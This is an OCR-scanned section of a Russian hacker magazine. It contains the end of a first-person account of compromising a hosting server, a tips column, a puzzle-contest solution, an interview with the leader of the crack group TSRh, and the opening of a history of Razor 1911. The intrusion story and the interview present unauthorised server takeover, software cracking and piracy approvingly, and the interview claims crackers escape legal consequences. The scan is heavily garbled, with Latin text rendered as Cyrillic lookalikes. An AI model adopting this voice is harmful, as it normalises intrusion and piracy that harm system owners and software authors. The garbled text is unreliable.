/[юте 


2.06 


1.26 


700М 


64% 


/ітр 


6.86 


3.66 


2.86 


56% 


/и$г 


6.86 


6.16 


428М 


94% 


/ѵаг 


6.86 


6.16 


428М 


94% 


/ѵаг 



Сначала я хотел сделать копию системы и 
посадить админа в сіігооі, так, чтобы он ду- 
мал, что он в основной системе, и, делая там 
изменения, долго удивлялся, почему они не 
применяются. Но места на дисках оказалось 
мало, поэтому я написал маленькую прогу, 
которая создала копию всех файлов системы, 
но пустых в /сбгооі/іате/асітіп. Создал там 
файлы паролей, некоторые конфиги. Поднял 
второй 88І1СІ, настроил файрвол так, что толь- 
ко с моего ір (который на тот момент был 
японским :)) можно было зайти в систему, 
всех остальных перебрасывало на второй 
88І1СІ в СІІГООІ. Мне остается только догады- 
ваться, каково было удивление админа, об- 
наружившего, что длина большинства файлов 
его файловой системы равна нулю :). 

Аѵ.ъ. 

Хостинг, разумеется, представлял из себя ог- 
ромную сеть серверов, которая обслуживала 
801-клиентов, почтовый трафик и многое дру- 
гое. Но все это - уже другая история, и рас- 
сказывать тебе об этом сегодня я не буду. 

С Новым годом! ЗС 



^ТІРЭ^РІО^^) 



Хочешь увидеть свои советы в журнале? 
Присылай их на адрес 8кІуагоѵ@геаІ.хакер.ги. 
Ведущий рубрики Тір$Шск$ Иван Скляров. 



А Недавно у одного моего приятеля после переуста- 
новки всего софта с нуля и установки Ѵ/іп2000 Ки$ про- 
изошла вот какая история. Не хотела инсталлироваться 
одна специфически-экзотическая софтина. Просто 
прекращалась инсталляция и вываливалась обратно в 
Ѵ/іпбоѵѵ$ безо всяких сообщений об ошибке. После дол- 
гих мучений, которые ни к чему не привели, мне приш- 
ла в голову мысль, что софтина эта не локализованная, 
а работали мы под учетной записью «Администратор". 
Таким образом, я предположил, что при обращении к 
домашнему каталогу пользователя софтина не может 
справиться с русскими буквами в именах файлов в пу- 
ти к профилю пользователя. И я завел еще одного 
пользователя, назвал его «Г и наделил правами адми- 
нистратора. Залогинился под ним. Инсталляция прошла 
успешно. 

Кстати, иногда помогает смена языка операционной 
системы или смена региона. Например, если прога за- 
щищена от копирования и предназначена для работы 
только в каком-то географическом регионе. 



Вова Корзунин 

ітпп г 
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В этот раз мы подготовили для тебя новогодний конкурс. Дело в том, что дед Мороз крупно влип: недавно 
его подло обокрал Санта Клаус и теперь деду нечего подарить нашим детишкам на Новый год. Кроме то- 
го, Мороз с горя ушел в запой и пропил все до копейки. Чтобы хоть как-то поддержать своего старичка, 
бедной снегурочке даже пришлось выйти на панель. Судьба замечательного праздника в нашей стране нахо- 
дится под вопросом. «Неужели все пропало? Неужели у нас не будет Нового года из-за проклятого буржуйс- 
кого Сайты?» - спросишь ты. «Не все потеряно», - отвечу я тебе. Именно ты можешь помочь деду Морозу вер- 
нуть подарки и справиться с запоем (о том, как это сделать читай, на шѵѵ.рас1опак.ги). Если тебе удастся, то ты спа- 
сешь праздник и тысячи детишек будут тебе благодарны. 



А КРК ПРОХОДИТЬ НОЯБРЬСКИЙ КОНКУРС 

Ч то же, убийца бобра был найден за сутки. 
Самым шустрым сыщиком оказался Ярош 
Алексей (уагозІіаІехеу@ппаіІ.ги), за что он полу- 
чает от нас материальное вознаграждение (1 Гб 
оперативки от Кіпдз1:оп) и славу! :) Пиши, приходи 
и забирай приз. А нашел злодея Алексей вот таким 
способом: 

О. Если внимательно посмотреть на текст на главной 
странице, то можно заметить ссылку на задачу, кото- 
рую не смог решить бобер. Ответив на второй вопрос 
задачи, получаем число 24. 

Ѳ. При выделении картинки (<СігІ>+<А>) в Эксплоре- 
ре (на Эксплорер намекает надпись, что страничка оп- 
тимизирована под него) появляется номер ІСО. Это 
и есть тот наставник бобра, о котором упоминалось 
на главной страничке. Если ему сказать ответ на зада- 
чу (24), он выдаст много-много ноликов и единичек. 
Нужно преобразовать их из шестнадцатеричной сис- 
темы - в инете полно перекодировщиков. Раскодиро- 
вав послание, получаем имя странички. 



Ѳ. Приписываем это имя к адресу хоумпаги наставни- 
ка (его берем в инфе об уине) и попадаем на странич- 
ку с картинкой. Больше на странице ничего нет. Кар- 
тинка тоже ничего не дает. Смотрим сорец. Там к ком- 
ментариях подсказка, что нужно посчитать размер 
картинки. Умножаем ширину на высоту и полученное 
число скармливаем боту. 

О. Расшифровываем бота, который опять ответил в 
двоичной системе, и понимаем, что он дал какой-то 
пасс. Попробовав пасс на всем, чем можно, видим, 
что он подходит к почте друга- наставника (адрес на- 
писан на главной странице хоумпаги бота). Заходим 
в почту и видим поздравительное письмо :). 



ьп 





СЦЕНП 



КПКЕГ/ІМ2І72)/2004 



И риятепь, ты никогда не задуиывапся, откуда берутся все эти серийники, кряки, кейгены и прочие спадости, которые позвопяют тебе 
сэкономить копейку-другую на пицензионнои софте? Ведь без этих ппюшек у тебя бы пять месячных зарппат уходипс в недепю 
топькс на оппату установпеннсга софта. Перед тобой интервью с основатепеи одной из самых авторитетных и продуктивных 
российских сгаск-грунп Т8Н6. 0 сваей ксианде и своих взгпядах на сгаск-сцену рассказывает ВіЗНЕР. 

ИНТЕРВЬЮ С ВІЗНЕР Т8ВН 




9 тіпсІѵ/0гк: Биш, вкратце 
о себе. Имя, возраст, где 
учишься, какие имеешь хобби, 
чего ждешь от жизни, какие 
девушки тебе нравятся, каких 
людей уважаешь, каких не пе- 
ревариваешь? 

ВІЗНЕР: Зовут меня Алек- 
сандром, живу в Москве, учусь в одном из 
московских университетов. Хобби - распитие 
спиртных напитков, спорт, тяжелая и элект- 
ронная музыка. От жизни жду долгих лет 
жизни. Девушек люблю понимающих и пос- 
лушных, таких, как моя. Уважаю людей отк- 
рытых, с нестандартным мышлением. А не 
перевариваю смазливых, правильных, мод- 
ных педиков. Также не люблю понты. Очень 
не люблю. 



тЫѵѵОгк: Какой у тебя был первый 
комп? Через сколько месяцев/лет после его 
покупки ты принялся осваивать программи- 
рование? Откуда появился интерес к крэкин- 
гу? Твои первые крэк-релизы? 

ВІЗНЕР: Первым был вроде 486 0X2 66. 
Году в 98-м, после того как конкретно наиг- 
рался в думы и алладины, начал потихоньку 
программить. На бэйсике =)). Потом предп- 
ринимал неудачные попытки заняться хакин- 



гом. В основном, это были эксперименты с 
социальной инженерией, использование чу- 
жих ехрІоіГов и следование рекомендациям 
статей из журнала «Хакер» :). Интерес к крэ- 
кингу появился в начале 99 года после проч- 
тения статьи о ЗоЙІсе. Первой сломанной 
прогой стал НііРгот, предназначенный для 
накрутки счетчиков на сайтах. После этого 
что-то внутри загорелось, любопытство 
быстро переросло в увлечение. 

тіпсіѵѵОгк: Чем привлекателен крэкинг? 
Что он развивает? И вообще, неужели ин- 
тересно копаться в непонятных буковках и 
циферках? :)) 

ВІЗНЕР: Трудно объяснить человеку, ко- 
торый этим не занимается. Лично мне прос- 
то интересно. Думаю, каждый более-менее 
продвинутый пользователь интернета мечтал 
стать кулхацкером. Другое дело, что у боль- 
шинства из них дальше хотения ничего не 
заходит. И в крэкинге результат, имхо, не 
так важен, как сам процесс. 

тЫѵѵОгк: Расскажи, как была образова- 
на группа Т5ВІ1. И как она развивалась со 
временем. 

ВІЗНЕР: Название мы с Охеп’ом приду- 
мали в 98 году. Как расшифровывается 



Т5ВІ1, мы тогда еще не придумали, да и 
планов на будущее относительно группы 
не было никаких. Просто захотелось соз- 
дать что-то свое. А 30 декабря 1999 года 
появился официальный сайт :). К тому вре- 
мени мы с Охеп’ом успели выпустить около 
тридцати двух релизов. Не было ни МРО, 
ни Іетріаіе’ов, ни структуры оформления. 
Вся инфа писалась в геабте.М. С прихо- 
дом новых мемберов Міігодеп’а и ЕООіЗТ’а 
все заметно изменилось. В первую оче- 
редь, это коснулось структуры релизов, по- 
явились фирменные НФОшки и многое 
другое. Основной проблемой поначалу был 
хостинг - нас закрывали практически каж- 
дые 4 дня :). А потом нас приютил админ 
сгаскі.ѵѵз. Помнится, в то время мы были 
рады каждому посетителю, оставившему 
сообщение у нас в гостевой. 

Правил принятия в группу не было, и из-за 
этого постепенно накапливалось много левых, 
неактивных мемберов. В настоящее время сос- 
тав группы по сравнению с первоначальным в 
2000 году сильно изменился. Из старичков ос- 
тались я, Охеп, Міігодеп и ЕСОіЗТ. 

Более подробно об истории ТЗВб напи- 
сал Міігодеп. Привожу здесь отрывок из 
его мемуаров: 
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<ВЗП0ИПТЬ ИОЖНО ПРПКТИЧЕСКИ ВСЕ> 




Где-то ДО июня 2001 года я варился в 
собственном соку. Почитывал сайты опреде- 
ленной тематики, что-то помаленьку ломал. 
На одном из таких сайтов - сгаскіпд4пеѵѵЫе8 
- узнал о существовании некой группы Тйе 
ЗаЬоіаде НеЬеІІіоп Наскегз (Т 8 НІі). Зашел к 
ним на сайт, а там всякие кряки, туторы... 
Все это мне очень понравилось, и на тамош- 
нем форуме я написал, что хотел бы всту- 
пить в группу. Дал ссылку на свою странич- 
ку, где выкладывал кряки и туторы собствен- 
ного производства. Слово за слово, и я стал 
мембером ТЗВІі. 

Занимался тем, что ломал проги и посы- 
лал свои кряки другим членам группы, чтобы 
они выложили их на сайт. Но то, как они 
оформляли релизы, мне в корне не нрави- 
лось. Я вырос на релизах таких групп, как 
сіазз, гаіогІѲ 1 1 , тоЬ'ѵ 8 , исі, которые 
оформляли свои піо’шники потрясающей 
азсіі-графикой. Мне хотелось, чтобы у нас 
было что-то подобное! До моего появления 
релизы Т 8 НІ 1 оформлялись просто: кряк + 
геабте.М. Никаких ГІе_іб.біі, ізгй.піо не бы- 
ло. Поэтому я набросал пробные піо/біі- 
файлы и написал на паскале программу, 
создающую их автоматически - нужно было 
только ввести нужные данные. Оставалось 
самое сложное - заставить других пользо- 



ваться этой программой. Со временем мне 
это удалось. 

Мы продолжали ломать, выкладывать кря- 
ки, но нас мало кто знал. Нужно было как-то 
заявить о себе, начать раскручивать группу. 
Лично я делал это посредством форума 
Шит.( 1 дрІюи 5 е.сот. Если кто-то искал кряк для 
программы, я ее ломал (или просил кого-ни- 
будь из наших сломать ее), а потом сообщал 
на форуме, что программа сломана и кряк 
можно взять там-то. Со временем люди ста- 
ли нас узнавать, заходили на сайт. Кстати, к 
тому времени наш сайт удалили и у нас ос- 
талась простая страница со списком вышед- 
ших релизов. Свежие релизы добавлялись 
наверх страницы, старые сортировались по 
соответствующим буквам. Может, кто-то 
еще помнит адрес пИгодеп-ЫсШл... 

С хостингом были постоянные проблемы. 
До тех пор пока в 2002 году нам не стал по- 
могать рагоі (сгдскш), за что ему респект. 

Сначала в группе были Оке, Бишеп, 
Др.Нет и я. Позже подключился Эгоист, ма- 
нера работы которого напоминает бомбар- 
дировщик - то от него ничего не слышно, то 
как выложит сразу кучу релизов. Потом поя- 
вились Азл, Байт, Реалист... Работа шла 
полным ходом, мы приобретали все боль- 
шую популярность. Нас даже стали узнавать 
на сетевых «улицах» ;). Потом Азл догово- 



Мы продолжали ломать, выкладывать 
кряки, но нас мало кто знал. 



ВЫДЕРЖКПИЗТВВНЕПр 

0: 1 сап’Т сіоѵѵпіоасі апуЛііпд! I деТ ап еггог теззаде! 

А: ГТРз аге сіоѵѵп ог тауЬе сіозесі. Ооп’Т азк аЬоиТ ТІііз зІііТ оп ТІіе ЬоагсІ! 

0: Ооез Т8РН зепсі сгаскз Ьу е-таіі? 

А: Мо. ѴѴе сІоп’Т Ііаѵе Тіте Тог ТТііз зТііТ. 

0: Уои ідпогесі ту теззаде! 

А: МозТ Іікеіу ТТііз Тіаз ТіаррепесІ Тог опе оТ ТТіе ТоІІоѵѵіпд геазопз: 

1 ) Уои Тіаѵе поТ ргоѵісіесі ТТіе диезТіоп (Іате). 

2) РедиезТ Тог ТТіе ргодгат Тіаз поТ Ьееп ассерТесІ Ьесаизе: 

a) Уои Тіаѵе поТ геасі ТТіе гиіез ргорегіу. 

b) Уои Тіаѵе ѵѵгіТТеп ап ітргорег гедиезТ. 

c) Уои гедиезТесІ зотеТТііпд ТТіаТ із аігеасіу сгаскесі ог геасіііу аѵаіІаЫе. 

3) ѴѴесІоп’Т Іікеуои :) 

0: Риск уои! Уоиг Теат зиекз! Уоиг сгаскз агеп’Т ѵѵогкіпд! 

А: РиСКУ0иР8ЕІР МОТНЕРРиСКЕР! ООМТ СОМЕ ВАСК ВІТСН! 

/ 




рился с челом, который предоставил нам 
место на фтп. Туда мы выкладывали свои 
релизы в течение долгого времени. 

В 2002 году с нами стали связываться 
лидеры различных Обау-групп, звали к се- 
бе. Ведь, несмотря на то что мы были но- 
вой командой, мы работали весьма успеш- 
но. Тем не менее, мы отказывались и в ито- 
ге поработали совместно лишь с двумя: 
СгоззкТе и Епегду. 

Летом 2002-го произошел случай, «о ко- 
тором писали в газетах» :). Азл был уличен 
в риперстве релизов у некоторых групп. Это 
очень сильно подорвало репутацию группы, 
но так как никто кроме Азла этим не зани- 
мался, мы все-таки остались на плаву. Спус- 
тя месяц после этого случая Азл пропал, и 
никто его больше не видел. Я, правда, пару 
раз замечал его в аське - он сказал, что по- 
пал в конкретную аварию и долго лежал в 
больнице. 

До конца 2002 года многие ушли, не вы- 
держав требований. А требования у нас бы- 
ли жестокие - одного релиза в месяц было 
недостаточно. Я вообще считал, что три ре- 
лиза в неделю - это разумный минимум. 
Сейчас поковырял поиск по базе - оказыва- 
ется, в ноябре-декабре 2002 года я поставил 
рекорды по количеству релизов - 135/136 :). 

Вспоминается разоблачение Бишепа. 
Оказалось, что он, работая в Т 8 ВІі, также 
халтурил на стороне. Мне показалось стран- 
ным, что ТМТ релизит те же программы, что 
и мы. Сперва я подумал, что это рипы. А по- 
том в одном из бишеповских кряков обнару- 
жил подпись іЗкЗДМТ. Позже я нашел упо- 
минание о ВІ 8 НЕР/Г 8 ВІ 1 в релизах ТМТ... 
Просто Биша порой тупил и, видать, не пе- 
рекомпилировал кряки ;). 

А новогодняя ночь! Мда, как сейчас помню... 
Отпраздновал по-быстрому с родителями, на 
улице то ли холодно было, то ли еще чего, в 
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Лучший дизассемблер 



общем, гулять я никуда не пошел. Остался до- 
ма перед компом. Просто перед компом си- 
деть неинтересно, полез в ирку... А там Скит 
сидит :)). Тоже типа празднует. Ну там, позд- 
равления, то да се... 

Короче, я сидел в новогоднюю ночь, базарил 
со Скитом и всеми, кто был на канале. И вы не 
поверите, что я делал попутно. Кейгенил прогу! 

тіпсІѵѵОгк: А сколько сейчас в ТЗВІі 
мемберов? Какой процент из них русских? 
Насколько высок общий уровень команды? 

ВІ8НЕР: Примерно 20 мемберов, из кото- 
рых русскоязычных - примерно две трети. Ак- 
тивных, правда, человек 14, у остальные жиз- 
ненные проблемы: учеба, работа, кошка ро- 
дила :). Поэтому они на некоторое время за- 
морожены. Общий уровень команды доста- 
точно высок. По крайней мере, я считаю ТЗВб 
самой сильной риЫіс-командой в России. 

тЫѵѵОгк: Как вы оформляете свои ре- 
лизы? Есть ли у ТЗВб приоритетные направ- 
ления? Основные достижения ТЗВб? 

ВІ8НЕР: В смысле «оформляем»? 2ір-ар- 
хив, в нем кряк/кейген + п^о + сііі файл =). 
Все как положено. Направлений нет. А о 
достижениях судить сложно - просто каж- 
дый делает что-то полезное для общества и 
группы. 

тіпсіѵітОгк: Как у вас с риаллайфовыми 
тусами? В рамках группы или с другими кра- 
керами. 

ВІ8НЕР: Всем мемберам встретиться 
очень проблематично, так как все разброса- 
ны по разным странам и континентам. Не 
всем по карману ехать в Доминиканскую 
республику или, наоборот, в Россию. Кто 
живет близко друг от друга - встречались 
несколько раз. 

Планы относительно общих сборов су- 
ществуют года два, но никак не можем оп- 




ределиться с мес- 
том и временем и 
справиться с фи- 
нансовыми труд- 
ностями. С другими 
крэк-группами не 
тусили. Думаю, мо- 
жет, на 1 0-летие 
группы все же со- 
беремся. Главное, 
чтоб не в местах не 
столь отдаленных 
:)). 

тЫѵѵОгк: Нас- 
колько ТЗВІ 1 активна 
сейчас? Сколько в 
среднем релизов вы 
выпускаете в месяц? В какую сторону идет 
развитие группы? 

ВІ8НЕР: В среднем мы делаем 100+ ре- 
лизов в месяц. Конечно, было и лучше - в 
2002-2003 годах ежемесячных релизов вы- 
пускали более двух сотен. Но теперь многие 
работают/учатся/уделяют время семье и т.д. 
Все-таки реверсинг - не самое главное в 
жизни ;). Конкретного направления развития 
нет. Каждый мембер просто постепенно 
учится, повышает свой уровень. 

тіпсіѵітОгк: Ты наверняка общался со 
многими крэкерами. Какие это люди? Понятно, 
что все мы разные, но попытайся найти общие 
черты, присущие большинству крэкеров. 

ВІ8НЕР: Обычные люди. Хотя, наверное, 
не все назовут компьютерщиков обычными. 

С ними вполне можно поговорить не только 
о прогах, но и за жизнь. А еще это в боль- 
шинстве образованные люди. 

тЫѵѵОгк: Расскажи о самых интересных 
моментах из твоего крэкерского прошлого. 
Может быть, ты сутками ломал какую-то за- 
щиту, хотя решение было совсем рядом? 

Или тебя вызывал на разговор по душам 
Дмитрий Чепчугов? :). 

ВІ8НЕР: Все и не вспомнишь. Иногда 
взлом проги занимал несколько минут, а 
иногда растягивался на несколько дней. 
Особенно если наталкиваешься на что-то 
новое. Дмитрий Чепчугов? А кто это? :)) 
Были, конечно, грозные письма от авторов 
программ. Некоторые выражали свое недо- 
вольство в форме «МОТНЕВ РІІСКЕВ! СО ТО 
РиСКУОиВЗЕІР! РУСКІМО ЗСУМВАО! зніт 
РАСЕ! рискуои АЗЗНОІЕІ». для таких у 
меня всегда ответ один. Если же кто-то 
просит нормально и без понта, то релиз 
удаляется сразу же. Мы ведь не какие-то 
бессердечные подонки :). 

тіпсІѵѵОгк: Расскажи вкратце о Обау- и 
риЫіс-сценах. Чем они отличаются, и какая 
жизнь в них кипит? 

ВІ8НЕР: Насчет Обау говорить ничего не 
буду, так как это не принято. Кто знает, тот 



знает, кто хочет узнать - узнает :). Из изве- 
стных Обау-команд можно выделить СоВЕ, 
ВОВ, 580 и др. Перечислять можно до поси- 
нения, так как сейчас их навалом. Имхо, 

Обау - слишком замкнутая структура. РиЫіс- 
сцена более открыта для общения с наро- 
дом. Список наиболее активных риЫіс-ко- 
манд можно найти тут: Ш\і\ІІшщІттт. 

тіпсіѵіЮгк: Какие люди, на твой взгляд, 
больше всего повлияли на развитие русской 
крэк-сцены? Кто внес наибольший вклад в 
ее историю? 

ВІ8НЕР: Повлияли все, кто хоть что-то 
релизил. Отвечать на второй вопрос не буду, 
чтобы никого не обидеть ;). 

тЫѵЮгк: Хакером всех времен можно 
назвать Кевина Митника. А кого можно наз- 
вать крэкером всех времен? :) 

ВІ8НЕР: Не думаю, что Кевина Митника 
можно назвать хакером всех времен. Просто 
его поймали, и он получил известность. Есть 
много хакеров не хуже, которых просто не пой- 
мали и о них не знают. Насчет крэкера всех 
времен никто не даст точного ответа. Имхо, 
вопрос сам по себе неправильный - такого не 
бывает, что кто-то лучше всех. У нас туг олим- 
пиады не проводятся, нельзя сказать, кто луч- 
ший. Можно сказать, кто выделяется. Но в це- 
лях их безопасности называть имена не буду. 

тіпсІѵѵОгк: Существует ли русская 
ѵѵагеі/крэк-сцена сейчас? Обоснуй свое мне- 
ние. Где сейчас, в основном, общаются рос- 
сийские крэкеры? 

ВІ8НЕР: Варез- и кряк-сцены - это абсо- 
лютно разные вещи. Сам посуди, что делает 
варез-сайт? Распространяет то, что сломали 
крякеры =). То есть, по большому счету, он 
посредник. Отсюда вывод - для «варез-сцены» 
много ума не надо. Поэтому в мире так много 
«супер-мега-рулезных сайтов имени меня». 
Надписи большим шрифтом «Самый свежий 
варез, аррі, сгаскг и т.д.» уже режут глаза :). 
Конечно, есть и нормальные сайты: ІЛІгог.пеі, 
крпето.ш и т.д., но их мало. Общаются крэкеры 
где угодно. Форумы, ІСО, ІВС, кгоѵаіка.ги :). 

тіпсіѵѵОгк: Какие навыки помимо прог- 
раммирования нужно иметь, чтобы успешно 
взламывать софтварную защиту? 

ВІ8НЕР: Никаких навыков больше не нуж- 
но. Просто занимайся крэкингом и повышай 
свой уровень. Если хочешь ломать на очень 
высоком уровне, может понадобиться выс- 
шая математика. Тоже на высоком уровне. 

тіпсІѵѵОгк: Какие закладки в браузере 
должен иметь каждый уважающий себя крэ- 
кер? 

ВІ8НЕР: ііІф://хШ.огд, ІіІф://сгаскІаЬ.ги, 
Мф:/Ма$[ 11 .ги, 1ііір://доодІе.со[іі. Остальных рекла- 
мировать не буду. 

тіпсІѵЮгк: Есть ли среди твоих друзей и 
знакомых наглядные примеры того, как бла- 



в связи с небольшим распространением 
таких защит их можно считать более 
надежными аппаратных методов защиты. 





«взпоипть иожно практически все» 



в 2002-2003 годах ежемесячных релизов 
выпускали более двух сотен. 



тіпсіѵ/Огк: Как ты думаешь, влияют ли 
крэкеры на развитие компьютерной индуст- 
рии? И если да, каким образом? 

ВІ8НЕР: Да, влияют. Они дают почву для 
конкуренции. Нет конкуренции - нет стимула, 
нет прогресса, нет развития продукта. Больше 
крэков - лучше защита, лучше защита - боль- 
ше денег, больше денег - лучше жизнь у про- 
изводителей и интересней у крэкеров :). □С 



годаря навыкам в крэкинге они получили вы- 
сокооплачиваемую работу? 

ВІ8НЕР: Таких примеров нет. 

тіпсІѵѵОгк: Лучшая, на твой взгляд, за- 
щита на рынке? 

ВІ8НЕР: Не будем делать рекламу прог- 
раммистам и выделять конкретные протекто- 
ры, но хорошие есть. Хотя сломать можно 
практически все - это вопрос времени :). 

тіпсІѵѵОгк: Я слышал, существуют какие- 
то аппаратные методы защиты. Расскажи об 
этом поподробнее. 

ВІ8НЕР: В связи с небольшим распрост- 
ранением таких защит их можно считать бо- 
лее надежными, особенно при правильном 
использовании. Хотя некоторые крэкеры 
считают их очень легкими. В любом случае, 
процент взлома программ, защищенных 
электронными ключами, намного ниже, чем 
прог, защищенных другими методами. При- 
чина в том, что не так много крэкеров стал- 
кивались с электронными ключами. 

тіпсІѵѵОгк: Считаешь ли ты, что занима- 
ешься противозаконной деятельностью? Что 
ты скажешь на суде, если тебя, не дай Бог, 
обвинят в нарушении копирайтов или чем-то 
еще более страшном? 

ВІ8НЕР: Практически не считаю, ведь 
конкретной статьи о крэкинге нет. У нас в стра- 
не не было ни одного суда над крэкером. 
Статьи против компьютерных преступлений, в 
основном, направлены на борьбу с вирусами и 
взломщиками сайтов, а не с крэкерами. 

Очень трудно доказать, что определенный 
крэк или кейген создан именно тобой. На 
нем ведь нет отпечатков пальцев :)). Да и 
выделить крэки в отдельную группу сложно. 
Ведь в определение «прямым образом мо- 
дифицирует программу» попадают те же 
Ѵ\/іп2ір с ѴѴіпВаг’ом. Нюансов и неопределен- 
ности в этом вопросе много, и у каждого 
свои отмазы :). 



тіпсІѵ/Огк: Зарубежные СМИ оценивают 
ущерб софтверных компаний от деятельности 
пиратов в десятки миллиардов долларов. Нас- 
колько, по-твоему, реально велик ущерб? 

ВІ8НЕР: Ты мне скажи, что за СМИ и 
сколько им заплатили! :)) Как-то никогда 
не задумывался об ущербе. Если у чело- 
века есть деньги, ему нужна программа и 
нужна квалифицированная техподдержка 
- он не будет искать крэк, а просто ее ку- 
пит. К тому же, большинство российских 
производителей делают скидки для жите- 
лей стран СНГ, а иной раз создают бесп- 
латные лицензии. Так что все в руках 
производителя - делать достойную защи- 
ту или разумные цены :). 
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И анпеграунде огроиное количество групп. Осе спи разпичаютсл по уровню, размеру, активности, территсриапьной принадлежности и 
другим критерили. Нс лишь единицы из них называют легендарными. Изменившими историю. Думаю, пора тебл с ними познакомить. 
Начинал с зтого номера, л открываю в «Сцене» серию статей, в кстсрых будет рассказыватьсл истерии каждой из таких групп. Ты 
узнаешь, как полвипась Огіпк ог Оіе, почему Рнінге Сгеѵ называют отцами демосцены, что с американскими телефонными сетлии 
вытворили парни из РЬопе Іоозеге о( Ошегіса и какие событии сделали СнІІ с( Ібе Оеаб Сою едной из самых известных в мире хакгрупп. 
Сегпднлшний рассказ - с культовой шагег-группе Вагог 1911. 

ИСТОРИЙ ВЛ20В1 911 ^ 



.і 1985 -1987: эпоха С64 

1 985 году сгаск-сцена на 
компьютере Соттосіоге 64 
была молодым, но достаточно 
сформировавшимся сообще- 
ством. Первые команды быст- 
ро разрослись и стали настоя- 
щими звездами. Особенно 
выделялись на общем фоне 
РІазб Сгаскіпд Огоир 1941 , Зесііоп 8, 
ЕІесігопіс Сгаскіпд Аззосіаііоп 1998, АВС 
1999, ^есIі 2001 , 1103, Оіепдбіз Кбап, 
НеІІтаіез, 5СС, Оупатіе Оно. И когда в ок- 
тябре 1985 года появилась новая команда, 
состоящая из трех норвежских кракеров, 
сенсацией это не стало. 

5есіог9, Оосіог Мо, Іпзапе, ТТМ - эти ре- 
бята, которым еще не исполнилось 18 лет, 
любили программирование, любили ко- 
паться в протекторах игр и по примеру бо- 
лее опытных коллег решили объединиться. 
Название группы появилось практически 
сразу - Ваіог 2992. Число было взято на 
тот случай, если кто-то соберется присво- 
ить лейбл Ваіог - это позволило бы избе- 
жать путаницы (впоследствии так и прои- 
зошло - какие-то парни из США назвали 
себя Ваіог Ехргезз, но стать известными 
им это не помогло). К тому же, добавлять 




число к названию группы в кракерской сре- 
де тогда было модным. 

Через пару месяцев 2992 заменили на 
1911, так как, по мнению мемберов, это 
звучало круче :). 191 1 в Ііех- кодировке 
обозначало $777, что было антиподом пов- 
семестно используемому числу 666. Юзая 
777 вместо 666, мемберы Ваіог как бы от- 
деляли себя от всего остального ламерского 
движения, добавляющего число Зверя во 
все свои релизы. Плюс 777 считается чис- 
лом Бога, а парни из Ваіог собирались 
стать богами крак-сцены. 

В течение первого года группа выпустила 
множество демок на С64 и Краков к играм, 
став одной из самых активных на норвежс- 
кой сцене команд. Большинство их творе- 
ний, впрочем, на тот период нельзя назвать 
выдающимися - скроллинговые интры, 
простенькие текстурные эффекты - все в 
духе того времени. Релизы выкладывались 
на локальные ВВ5, и посредством этих же 
борд происходило общение с другими нор- 
вежскими кракерами. 

В 1 986 году из-за различия целей у мем- 
беров группа распалась. Половина людей 
ушла в ТСС, а 8есіог9 и Ог.ѴѴІіо присоедини- 
лись к Медаіогсе, более известной в амига- 
кругах как Зсоорех. Уже через месяц стало 



ясно, что подобное решение было ошибкой. 
Парни снова объединились, но теперь уже в 
составе сильной крак-группы Асііѵе Сгаскіпд 
Сгеѵѵ. Именно там они познакомились с от- 
цами крак-сцены на С64 и вышли на миро- 
вую арену. Продолжая активно выпускать ре- 
лизы, четверо фаундеров Ваіогібі 1 проби- 
ли номера андеграундовых телеконферен- 
ций, где общались звезды мирового кракин- 
га, и присоединились к жарким дискуссиям. 
Если раньше им приходилось ютиться в рам- 
ках локальной сцены, теперь перед парнями 
открылся весь мир. И они с жадностью ста- 
ли знакомиться с лучшими его представите- 
лями. Лучшими в кракинге, разумеется. 

На одной из таких телеконференций 
5есіог9 узнал о СОРУ- пати - тусовках, где 
собиралась исключительно элита. Это были 
закрытые мероприятия, про которые мало 
кто знал и еще меньше - участвовал. Приг- 
лашение получали только те, кто заработал 
определенный авторитет в кракерских кругах 
или состоял в сильной крак-группе. На 
СОРУ-пати кракеры в неофициальной атмос- 
фере обсуждали последние протекторы, пи- 
ли пиво, выбирали кракера года и осущес- 
твляли совместные кряки программ. 

На той тусовке, которая прошла в Дании, 
парням из АСС удалось поработать вместе с 
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легендарной Раігіідііі и познакомиться со 
многими интересными людьми. Особенно 
важным было знакомство с двумя кракерами 
из мегапродуктивной крак-группы Ваѵѵ ОеаІ. 
Впоследствии они станут частью дружного 
коллектива Ваіогі 911. 

По пути домой из Дании приятели про- 
должали активно обсуждать крак-сцену. 

И к тому времени, как самолет приземлился 
в норвежском аэропорту, приняли важное 
решение. Несмотря на то что АСС много да- 
ла в плане развития и вывела ребят на ми- 
ровой уровень, группу было решено оста- 
вить. И вместо этого возродить лейбл, кото- 
рый отсутствовал на сцене больше года. Так 
в конце 1987 года Ваіог191 1 обрела новую 
жизнь. И из небольшой тимы, состоящей из 
четырех мемберов, стала потихоньку разрас- 
таться в крупную андеграундовую команду, 
известную далеко за рубежом. 

А 1987- іад1:НР ВЕРШИНЕ 
ПИИЖНОИ СЦЕНЫ 

Конец 80-х был временем расцвета компью- 
тера Атіда, и многие группы, работавшие 
на С64, переходили на него. Но если с 
мультимедийными возможностями у амиги 
все было в порядке, с софтом все было ина- 
че. Игры, демки, утилиты - всего этого в 
1988 году практически не было. Ва20г191 1 
стала одной из первых команд, которые ос- 
ваивали амижную сцену. А основным нап- 
равлением у нее были демы. 



Амижные демки от Ваіог191 1 несли в се- 
бе новые идеи, качественную графику и от- 
личное музыкальное оформление. В группе 
были люди всех сценовых профессий, и каж- 
дый из них был в своем деле талантлив. 
Например, главным кодером был кракер из 
Швеции ОіМагі, до этого состоявший в 
Рбепотепа и считавшийся одним из лучших 
программистов на сцене. Но несмотря на то 
что Разор заработала титул одной из лучших 
амижных демогрупп, ее основатели не были 
до конца счастливы. Ведь изначально им хо- 
телось стать богами именно крак-сцены. 

В 1989 году Ваіог191 1 посредством ВВ8 
и телеконференций наладила близкие связи 
с Асситиіаіогз, Есіірзе, Оиаііех, Рагапоітіа и 
другими ведущими крак-группами. Чтобы не 
тратить на общение тысячи баксов, мемберы 
вплотную занялись фрикингом. Баги в теле- 
коммуникационных сетях давали возмож- 
ность сколько угодно общаться с друзьями 
из США, Канады, Дании и других стран Ев- 
ропы. И так как в то время еще не было нап- 
лыва ламеров, прознавших про халяву, фри- 
кинг был довольно безопасным занятием. 

В том же году Ваіог191 1 приобрела в 
свои ряды трейдера из США 7ос1ас1 и силь- 
ного кракера Опух. Первый поставлял све- 
жий варез, второй взламывал самые слож- 
ные протекторы. Оба этих мембера внесли 
большой вклад в развитие всей группы. 

В декабре 1989 года Ваіог191 1 выпусти- 
ла первый международный релиз игр Роскеі 
Воскеіз и Зігір Рокег II. После этого амиж- 
ные геймы с загрузчиком «Ваіог191 1 ргоибіу 
